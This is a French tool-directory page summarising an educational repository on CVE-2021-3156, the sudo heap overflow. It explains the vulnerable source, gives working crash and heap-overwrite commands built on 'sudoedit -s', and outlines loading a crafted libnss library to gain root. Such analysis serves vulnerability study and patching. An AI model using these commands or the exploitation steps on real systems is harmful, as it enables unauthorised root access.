Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3156 — Implémentation éducative d'exploit et analyse de CVE-2021-3156, un débordement de tampon basé sur le tas dans la fonction set_cmnd() de sudo, permettant une élévation de privilèges vers root via des arguments de ligne de commande conçus. | Kitploit
Outils/GitHubGitHub/musergi/cve-2021-3156
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubmusergi/cve-2021-3156

CVE-2021-3156

Implémentation éducative d'exploit et analyse de CVE-2021-3156, un débordement de tampon basé sur le tas dans la fonction set_cmnd() de sudo, permettant une élévation de privilèges vers root via des arguments de ligne de commande conçus.

Voir le dépôt
2il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-3156

Dans ce document, nous incluons toutes les connaissances nécessaires pour comprendre le code dans ce dépôt et pourquoi il fonctionne. Toute l'explication est basée sur le rapport créé par QUALYS. D'autres formes d'exploitation y sont expliquées.

Prérequis

Les versions vulnérables de sudo sont les versions héritées de 1.8.2 à 1.8.31p2 et toutes les versions stables de 1.9.0 à 1.9.5p1, dans leur configuration par défaut.

Ce dépôt est testé sur Ubuntu 20.04 (sudo 1.8.31). Dans celui-ci, nous ouvrons un terminal avec les privilèges root.

Analyse

Si Sudo est exécuté pour lancer une commande en mode shell :

  • Via l'option -s, qui positionne le drapeau MODE_SHELL de sudo.
  • Via l'option -i, qui positionne les drapeaux MODE_SHELL et MODE_LOGIN_SHELL de sudo.

Ensuite, au début de main() de sudo, parse_args() réécrit argv, en concaténant tous les arguments de la ligne de commande et en échappant tous les méta-caractères avec des antislashs.

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

Plus tard, dans sudoers_policy_main(), set_cmnd() concatène les arguments de la ligne de commande dans un tampon basé sur le tas user_args et déséchappe les méta-caractères, "à des fins de correspondance et de journalisation sudoers" :

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

Si un argument de ligne de commande se termine par un seul antislash, alors :

  • from[0] est le caractère antislash et from[1] le terminateur nul
  • from est incrémenté et pointe vers le terminateur nul
  • Le terminateur nul est copié dans le tampon user_args et from est à nouveau incrémenté et pointe hors limites
  • La boucle while lit et copie des caractères hors limites dans le tampon user_args.

En d'autres termes, set_cmnd() est vulnérable à un débordement de tampon basé sur le tas, car les caractères hors limites qui sont copiés dans le tampon user_args n'ont pas été inclus dans sa taille.

En théorie, cependant, aucun argument de ligne de commande ne peut se terminer par un seul antislash : si MODE_SHELL ou MODE_LOGIN_SHELL est positionné (une condition nécessaire pour atteindre le code vulnérable), alors MODE_SHELL est positionné et parse_args() a déjà échappé tous les méta-caractères, y compris les antislashs (c'est-à-dire qu'il a échappé chaque antislash avec un second antislash).

En pratique, cependant, le code vulnérable dans set_cmnd() et le code d'échappement dans parse_args() sont entourés de conditions légèrement différentes :

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

versus :

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

Notre question, alors, est : pouvons-nous positionner MODE_SHELL et soit MODE_EDIT ou MODE_CHECK (pour atteindre le code vulnérable) mais pas le MODE_RUN par défaut (pour éviter le code d'échappement) ?

La réponse, semble-t-il, est non : si nous positionnons MODE_EDIT (option -e) ou MODE_CHECK (option -l), alors parse_args() supprime MODE_SHELL de valid_flags et se termine avec une erreur si nous spécifions un drapeau invalide tel que MODE_SHELL) :

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

Mais nous avons trouvé une faille : si nous exécutons Sudo en tant que sudoedit au lieu de sudo, alors parse_args() positionne automatiquement MODE_EDIT mais ne réinitialise pas valid_flags, et valid_flags inclut MODE_SHELL par défaut :

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

Par conséquent, si nous exécutons "sudoedit -s", nous positionnons à la fois MODE_EDIT et MODE_SHELL (mais pas MODE_RUN), nous évitons le code d'échappement, atteignons le code vulnérable et débordons le tampon basé sur le tas user_args via un argument de ligne de commande qui se termine par un seul antislash :

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

Du point de vue d'un attaquant, ce débordement de tampon est idéal :

  • Nous contrôlons la taille du tampon user_args que nous débordons (la taille de nos arguments de ligne de commande concaténés) ;
  • Nous contrôlons indépendamment la taille et le contenu du débordement lui-même (notre dernier argument de ligne de commande est commodément suivi de nos premières variables d'environnement, qui ne sont pas incluses dans le calcul de la taille) ;
  • Nous pouvons même écrire des octets nuls dans le tampon que nous débordons (chaque argument de ligne de commande ou variable d'environnement qui se termine par un seul antislash écrit un octet nul dans user_args).

Par exemple, sur un Linux amd64, la commande suivante alloue un tampon user_args de 24 octets (un bloc de tas de 32 octets) et écrase le champ size du bloc suivant avec "A=a\0B=b\0" (0x00623d4200613d41), son champ fd avec "C=c\0D=d\0" (0x00643d4400633d43), et son champ bk avec "E=e\0F=f\0" (0x00663d4600653d45) :

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

Exploitation

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

La fonction qui plante est nss_load_library() de glibc (à la ligne 344) parce que le pointeur library a été écrasé.

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

Les étapes pour exploiter ce crash sont les suivantes :

  • Écraser ni->library avec NULL. Cela fera entrer le code dans la clause if et démarrer l'analyse et le chargement de la bibliothèque.
  • Écraser ni->name avec "X/X". Cela contient originalement "systemd".
  • Par conséquent, les lignes __stpcpy analyseront "libnss_X/X.so.2" au lieu de "libnss_systemd.so.2".
  • Nous chargeons donc la bibliothèque partagée que nous contrôlons "libnss_X/X.so.2" en tant que root. À l'intérieur, nous pouvons faire tout ce que nous voulons en tant que root.
Télécharger l’outil